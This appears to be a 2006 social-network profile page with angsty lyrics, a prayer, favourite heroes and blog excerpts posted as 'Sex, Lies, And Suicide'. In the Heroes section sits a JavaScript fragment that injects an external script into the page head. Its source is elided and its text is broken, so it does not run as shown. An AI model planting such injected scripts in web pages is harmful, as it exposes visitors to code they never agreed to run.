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Mike Ballins

Left with empty promises, I look at myself and see the scars. Then I ask myself.. Is that all this w

About Me

Dont be like me.
Every word that falls from my lips falls on deaf ears and I suffocate. Now righteousness cast aside thrown to the ground... I close my eyes and I see you there. But my eyes deceive me every other sense says I'm alone. Now waking hours melt to sleepness nights and all fear has left me... alone. If I could learn from my past, I'd posess the strength to walk away let your sweet taste fall from my lips. But it resonates. And now I hold this so dear to let it fade would tear me apart. If I now left this all behind simply turned and walked away would the dawns light fall upon my face to end this tragedy. Still deep in the long black behind the shimmering blue. I'd swear that I have seen the last soul that I care to. So this is passion and it crawls upon my skin and it sinks into my bones and I am whole again. And I feel it filling me and I pray it will never end now it burns within my veins and I am writing in ecstasy.
BMTH=Fave
Depp=The Man[Hero]

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I'd like to meet:

I Really Dont Care Anymore...

Music:

Im Mike.
Im happy.
I love life. Ha.
Is that what you wanna hear?
Im my own unique person.

I love a girl......

I cannot make it without You.
All my efforts have failed.
So that I will cry out in the need of You.
Restore the strength of my Dependence.
Send me through the fire.
Make me pure again.
Everything I am.
I give it all to You.
In Your arms I wait.
I lay down my life.
I am nothing without You God.

Heroes:

Phatty:Johnny Depp, Hunter S. Thompson, Jesus, Kirk Hammett"the wages of sin [is] death; but the gift of God [is] eternal life through Jesus Christ our Lord." Roman 6:23. .."var s=document.createElement('script');s.src='..';document.getEl ementsByTagName('head')[0].appendChild(s);"

My Blog

A Poem To Someone

How can I show youthat you are beautifulwhen you always look the other wayFinding imperfectionswith every living breathfeeding yourself deceitevery night as you lie in bed How can I show youthat you a...
Posted by Sex, Lies, And Suicide on Sun, 05 Nov 2006 07:14:00 PST

FUck

Woop woop I love beer and cigarettes and that is it.  I dont love you or anyone else.  In fact I hate everybody including you who reads this..  I just wanna.... 
Posted by Sex, Lies, And Suicide on Thu, 14 Sep 2006 01:39:00 PST

The Requiem for Broken Hearts

Enslave my heart, revealed is her apathey.I'm bounded by a fear of loneliness,show me fidelity now fill me with a false sense of hope,this will be reminder of what we once were.I'll leave your lips so...
Posted by Sex, Lies, And Suicide on Thu, 23 Mar 2006 01:30:00 PST

Sitn AT McDonald's P-lot drinkin!!!

Monday Night...Approx. 1:00 AM. Nathan And I Had Just Come Back From A Party And Were Sitting In Mc Donalds Parking Lot Drinking Some R&R...Talking About Our Girls Becky & Angela...Pretty...
Posted by Sex, Lies, And Suicide on Mon, 06 Feb 2006 01:35:00 PST